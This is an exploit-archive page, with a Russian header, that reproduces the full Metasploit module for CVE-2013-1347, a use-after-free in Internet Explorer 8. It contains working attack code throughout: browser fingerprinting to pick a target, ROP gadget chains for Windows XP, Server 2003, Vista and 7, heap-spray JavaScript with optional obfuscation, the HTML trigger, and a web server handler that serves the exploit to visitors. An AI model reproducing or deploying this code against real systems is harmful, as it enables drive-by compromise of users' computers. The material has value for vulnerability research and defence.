Microsoft Internet Explorer CGenericElement Object Use-After-Free Exploit (CVE-2013-1347)

Свойства

Дата публикации:
07.05.2013
Цель:
Internet Explorer 8.x
Тип воздействия:
Компрометация системы
Описание уязвимости:
Выполнение произвольного кода в Microsoft Internet Explorer

Код

##
#
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking

    include Msf::Exploit::Remote::HttpServer::HTML
    include Msf::Exploit::RopDb
    include Msf::Exploit::Remote::BrowserAutopwn
    autopwn_info({
        :ua_name    => HttpClients::IE,
        :ua_minver  => "8.0",
        :ua_maxver  => "8.0",
        :javascript => true,
        :os_name    => OperatingSystems::WINDOWS,
        :rank       => GoodRanking
    })

    def initialize(info={})
        super(update_info(info,
            'Name'           => "Microsoft Internet Explorer CGenericElement Object Use-After-Free Vulnerability",
            'Description'    => %q{
                    This module exploits a vulnerability found in Microsoft Internet Explorer. A
                use-after-free condition occurs when a CGenericElement object is freed, but a
                reference is kept on the Document and used again during rendering, an invalid
                memory that's controllable is used, and allows arbitrary code execution under the
                context of the user.

                    Please note: This vulnerability has been exploited in the wild on 2013 May, in
                the compromise of the Department of Labor (DoL) Website.
            },
            'License'        => MSF_LICENSE,
            'Author'         =>
                [
                    'Unknown',
                    'EMH',
                    'juan vazquez',  #RCA
                    'sinn3r'         #RCA
                ],
            'References'     =>
                [
                    [ 'CVE', '2013-1347' ],
                    [ 'OSVDB', '92993' ],
                    [ 'URL', 'http://blogs.technet.com/b/msrc/archive/2013/05/03/microsoft-releases-security-advisory-2847140.aspx']
                    [ 'URL', 'http://r-7.co/IE8-DOL' ] # sinn3r's writeup
                ],
            'Payload'        =>
                {
                    'BadChars'       => "\x00",
                    'Space'          => 1024,
                    'DisableNops'    => true
                },
            'DefaultOptions'  =>
                {
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'       => 'win',
            'Targets'        =>
                [
                    [ 'Automatic', {} ],
                    [ 'IE 8 on Windows XP SP3',       { 'Rop' => :msvcrt } ],
                    [ 'IE 8 on Windows Vista',        { 'Rop' => :jre    } ],
                    [ 'IE 8 on Windows Server 2003',  { 'Rop' => :msvcrt } ],
                    [ 'IE 8 on Windows 7',            { 'Rop' => :jre    } ]
                ],
            'Privileged'     => false,
            'DisclosureDate' => "May 3 2013",
            'DefaultTarget'  => 0))

        register_options(
            [
                OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation', false])
            ], self.class)

    end

    def get_target(agent)
        #If the user is already specified by the user, we'll just use that
        return target if target.name != 'Automatic'

        nt = agent.scan(/Windows NT (\d\.\d)/).flatten[0] || ''
        ie = agent.scan(/MSIE (\d)/).flatten[0] || ''

        ie_name = "IE #{ie}"

        case nt
        when '5.1'
            os_name = 'Windows XP SP3'
        when '5.2'
            os_name = 'Windows Server 2003'
        when '6.0'
            os_name = 'Windows Vista'
        when '6.1'
            os_name = 'Windows 7'
        else
            # OS not supported
            return nil
        end

        targets.each do |t|
            if (!ie.empty? and t.name.include?(ie_name)) and (!nt.empty? and t.name.include?(os_name))
                print_status("Target selected as: #{t.name}")
                return t
            end
        end

        return nil
    end

    def ie8_smil(my_target, p)

        case my_target['Rop']
        when :msvcrt
            case my_target.name
            when 'IE 8 on Windows XP SP3'
                align_esp = Rex::Text.to_unescape([0x77c4d801].pack("V*")) # ADD ESP, 2C; RET
                xchg_esp  = Rex::Text.to_unescape([0x77c15ed5].pack("V*")) # XCHG EAX, ESP, RET
            when 'IE 8 on Windows Server 2003'
                align_esp = Rex::Text.to_unescape([0x77bde7f6].pack("V*"))
                xchg_esp  = Rex::Text.to_unescape([0x77bcba5e].pack("V*"))
            end
        else
            align_esp = Rex::Text.to_unescape([0x7C3445F8].pack("V*"))
            xchg_esp  = Rex::Text.to_unescape([0x7C348B05].pack("V*"))
        end

        padding    = Rex::Text.to_unescape(Rex::Text.rand_text_alpha(4))
        js_payload = Rex::Text.to_unescape(p)

        js = %Q|
        unicorn = unescape("ABCD");
        unicorn2 = unescape("EEEE");
        for (i=0; i < 2; i++) {
            unicorn += unescape("ABCD");
        }unicorn += unescape("AB");

        unicorn += unescape("#{js_payload}");

        animvalues = unescape("#{align_esp}");

        for (i=0; i < 0x70/4; i++) {
            if (i == 0x70/4-1) {
                animvalues += unescape("#{xchg_esp}");
            }
            else {
                animvalues += unescape("#{align_esp}");
            }
        }

        animvalues += unicorn;

        for(i = 0; i < 13; i++) {
            animvalues += ";red";
        }
        |

        if datastore['OBFUSCATE']
            js = ::Rex::Exploitation::JSObfu.new(js)
            js.obfuscate
        end

        return js
    end

    def junk(n=4)
        return rand_text_alpha(n).unpack("V")[0].to_i
    end

    def nop
        return make_nops(4).unpack("V")[0].to_i
    end

    def get_payload(t, cli)
        code = payload.encoded

        # No rop. Just return the payload.
        return code if t['Rop'].nil?

        case t['Rop']
        when :msvcrt
            case t.name
            when 'IE 8 on Windows XP SP3'
                rop_gadgets =
                [
                    0x77c1e844, # POP EBP # RETN [msvcrt.dll]
                    0x77c1e844, # skip 4 bytes [msvcrt.dll]
                    0x77c4fa1c, # POP EBX # RETN [msvcrt.dll]
                    0xffffffff,
                    0x77c127e5, # INC EBX # RETN [msvcrt.dll]
                    0x77c127e5, # INC EBX # RETN [msvcrt.dll]
                    0x77c4e0da, # POP EAX # RETN [msvcrt.dll]
                    0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx)
                    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
                    0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll]
                    0x77c34fcd, # POP EAX # RETN [msvcrt.dll]
                    0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx)
                    0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll]
                    0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll]
                    0x77c3048a, # POP EDI # RETN [msvcrt.dll]
                    0x77c47a42, # RETN (ROP NOP) [msvcrt.dll]
                    0x77c46efb, # POP ESI # RETN [msvcrt.dll]
                    0x77c2aacc, # JMP [EAX] [msvcrt.dll]
                    0x77c3b860, # POP EAX # RETN [msvcrt.dll]
                    0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll]
                    0x77c12df9, # PUSHAD # RETN [msvcrt.dll]
                    0x77c35459  # ptr to 'push esp #  ret ' [msvcrt.dll]
                ].pack("V*")
            when 'IE 8 on Windows Server 2003'
                rop_gadgets =
                [
                    0x77bb2563, # POP EAX # RETN
                    0x77ba1114, # <- *&VirtualProtect()
                    0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN
                    junk,
                    0x77bb0c86, # XCHG EAX,ESI # RETN
                    0x77bc9801, # POP EBP # RETN
                    0x77be2265, # ptr to 'push esp #  ret'
                    0x77bb2563, # POP EAX # RETN
                    0x03C0990F,
                    0x77bdd441, # SUB EAX, 03c0940f  (dwSize, 0x500 -> ebx)
                    0x77bb48d3, # POP EBX, RET
                    0x77bf21e0, # .data
                    0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN
                    0x77bbfc02, # POP ECX # RETN
                    0x77bef001, # W pointer (lpOldProtect) (-> ecx)
                    0x77bd8c04, # POP EDI # RETN
                    0x77bd8c05, # ROP NOP (-> edi)
                    0x77bb2563, # POP EAX # RETN
                    0x03c0984f,
                    0x77bdd441, # SUB EAX, 03c0940f
                    0x77bb8285, # XCHG EAX,EDX # RETN
                    0x77bb2563, # POP EAX # RETN
                    nop,
                    0x77be6591  # PUSHAD # ADD AL,0EF # RETN
                ].pack("V*")
            end
        else
            rop_gadgets =
            [
                0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN
                0xfffffdff, # Value to negate, will become 0x00000201 (dwSize)
                0x7c347f98, # RETN (ROP NOP) [msvcr71.dll]
                0x7c3415a2, # JMP [EAX] [msvcr71.dll]
                0xffffffff,
                0x7c376402, # skip 4 bytes [msvcr71.dll]
                0x7c351e05, # NEG EAX # RETN [msvcr71.dll]
                0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll]
                0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll]
                0x7c344f87, # POP EDX # RETN [msvcr71.dll]
                0xffffffc0, # Value to negate, will become 0x00000040
                0x7c351eb1, # NEG EDX # RETN [msvcr71.dll]
                0x7c34d201, # POP ECX # RETN [msvcr71.dll]
                0x7c38b001, # &Writable location [msvcr71.dll]
                0x7c347f97, # POP EAX # RETN [msvcr71.dll]
                0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll]
                0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll]
                0x7c345c30  # ptr to 'push esp #  ret ' [msvcr71.dll]
                # rop chain generated with mona.py
            ].pack("V*")
        end

        rop_payload = rop_gadgets
        case t['Rop']
        when :msvcrt
            rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500
        else
            rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000
        end
        rop_payload << code
        rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt

        return rop_payload
    end

    def load_exploit_html(my_target, cli)

        p  = get_payload(my_target, cli)
        js = ie8_smil(my_target, p)

        html = %Q|
        <!doctype html>
        <HTML XMLNS:t ="urn:schemas-microsoft-com:time">
        <head>
        <meta>
            <?IMPORT namespace="t" implementation="#default#time2">
        </meta>

        <script>
        function helloWorld()
        {
            #{js}
            f0 = document.createElement('span');
            document.body.appendChild(f0);
            f1 = document.createElement('span');
            document.body.appendChild(f1);
            f2 = document.createElement('span');
            document.body.appendChild(f2);
            document.body.contentEditable="true";
            f2.appendChild(document.createElement('datalist'));
            f1.appendChild(document.createElement('span'));
            f1.appendChild(document.createElement('table'));
            try{
                f0.offsetParent=null;
            }catch(e) {

            }f2.innerHTML="";
            f0.appendChild(document.createElement('hr'));
            f1.innerHTML="";

            CollectGarbage();

            try {
                a = document.getElementById('myanim');
                a.values = animvalues;
            }
            catch(e) {}
        }

        </script>
        </head>
        <body onload="eval(helloWorld());">
        <t:ANIMATECOLOR id="myanim"/>

        </body>
        </html>
        |

        return html
    end

    def on_request_uri(cli, request)
        agent = request.headers['User-Agent']
        uri   = request.uri
        print_status("Requesting: #{uri}")

        my_target = get_target(agent)
        # Avoid the attack if no suitable target found
        if my_target.nil?
            print_error("Browser not supported, sending 404: #{agent}")
            send_not_found(cli)
            return
        end

        html = load_exploit_html(my_target, cli)
        html = html.gsub(/^\t\t/, '')
        print_status("Sending HTML...")
        send_response(cli, html, {'Content-Type'=>'text/html'})
    end

end


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